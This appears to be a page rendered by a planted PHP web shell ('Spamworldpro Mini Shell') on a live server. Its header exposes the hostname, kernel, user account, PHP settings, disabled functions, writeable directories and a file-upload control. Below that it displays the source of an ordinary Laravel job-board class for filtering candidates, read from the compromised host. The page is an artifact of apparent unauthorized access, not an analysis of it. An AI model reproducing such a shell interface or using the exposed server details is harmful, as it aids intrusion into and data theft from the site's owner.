Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Jobs/Classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Jobs/Classes/Candidates.php
<?php

namespace Corals\Modules\Jobs\Classes;

use Corals\Modules\Jobs\Models\Candidate;
use Corals\Modules\Utility\Facades\ListOfValue\ListOfValues;
use Corals\Settings\Facades\Settings;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;

class Candidates
{
    public $page_limit;

    /**
     * Foo constructor.
     */
    function __construct()
    {
        $this->page_limit = Settings::get('jobs_appearance_page_limit', 10);
    }


    public function getCandidateList(Request $request,Candidate $candidates)
    {
        foreach ($request->all() as $filter => $value) {
            $filterMethod = $filter . 'QueryBuilderFilter';
            if (method_exists($this, $filterMethod) && !empty($value)) {
                $candidates = $this->{$filterMethod}($candidates, $value);
            }
        }
        return $candidates->select('jo_candidates.*')->paginate($this->page_limit);
    }

    protected function searchQueryBuilderFilter($candidates, $search_term)
    {
        $candidates = $candidates->whereHas('user', function (Builder $query) use ($search_term) {
            $query->where('name', $search_term);
        });
        return $candidates;
    }

    protected function professionQueryBuilderFilter($candidates, $profession)
    {
        $queryMethod = 'where';

        if (is_array($profession)) {
            $queryMethod = 'whereIn';
        }

        $candidates = $candidates->{$queryMethod}('profession', $profession);
        return $candidates;
    }

    protected function locationQueryBuilderFilter($candidates, $location)
    {
        $candidates = $candidates->whereHas('location', function (Builder $query) use ($location) {
            $query->where('slug', $location);
        });
        return $candidates;
    }

    protected function sortQueryBuilderFilter($candidates, $sortOption)
    {
        switch ($sortOption) {
            case 'a_z_order':
                $candidates = $candidates->orderBy('jo_candidates.profession', 'asc');
                break;
            case 'z_a_order':
                $candidates = $candidates->orderBy('jo_candidates.profession', 'desc');
                break;
        }
        return  $candidates;
    }

    public function checkActiveKey($value, $compareWithKey)
    {
        if (request()->has($compareWithKey)) {
            $compareWithValue = request()->get($compareWithKey);

            if (is_array($compareWithValue)) {
                return array_search($value, $compareWithValue) !== false;
            } else {
                return $value == $compareWithValue;
            }
        }

        return false;
    }

    public function getProfessionCount($profession)
    {
        return Candidate::where('profession', '=', $profession)
            ->count();
    }
    public function getprofession()
    {
        return ListOfValues::get('professions');
    }
    public function candidatesCount()
    {
       return Candidate::all()->count();
    }

    public function getMyCandidate()
    {
        return Candidate::query()
            ->where('user_id', user()->id)
            ->firstOrFail();
    }
}

Spamworldpro Mini